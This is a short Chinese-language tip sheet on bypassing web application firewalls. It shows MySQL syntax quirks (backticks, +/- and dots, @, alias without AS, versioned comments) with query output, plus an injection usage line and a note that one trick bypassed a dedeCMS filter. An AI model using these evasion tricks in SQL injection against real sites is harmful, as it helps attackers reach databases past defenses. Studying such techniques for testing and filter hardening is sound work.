waf 绕过的技巧

1.Mysql

1.1.tips1: 神奇的 ` (格式输出表的那个控制符)

过空格和一些正则。

```
mysql>   select`version`()
   ->   ;
+----------------------+
|   `version`()
+----------------------+
| 5.1.50-community-log   |
+----------------------+
1 row in   set (0.00 sec)
```

一个更好玩的技巧，这个`控制符可以当注释符用（限定条件）。

```
mysql>   select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1|
+----+
1 row in   set (0.00 sec)
```

usage : where id ='0'`'xxxxcomment on.

1.2.tips2:神奇的- + .

```
mysql>   select id from qs_admins;
+----+
| id |
+----+
| 1|
+----+
1 row in   set (0.00 sec)

mysql>   select+id-1+1.from qs_admins;
+----------+
|   +id-1+1. |
+----------+
| 1|
+----------+
1 row in   set (0.00 sec)
mysql>   select-id-1+3.from qs_admins;
+----------+
|   -id-1+3. |
+----------+
| 1|
+----------+
1 row in   set (0.00 sec)
```

（有些人不是一直在说关键字怎么过？过滤一个 from ...   就是这样连起来过）

1.3.tips3: @

```
mysql>   select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
```

这个是 bypass 曾经 dedeCMS filter .

或者这样也是 ok.

1.4.tips4：mysql function() as xxx 也可以不用 as 和空格

```
mysql>   select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in   set (0.00 sec)
```

1.5.tips5:/*![>5000]*/ 新构造 版本号（这个可能有些过时了。）

```
mysql>   /\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in   set (0.00 sec)
```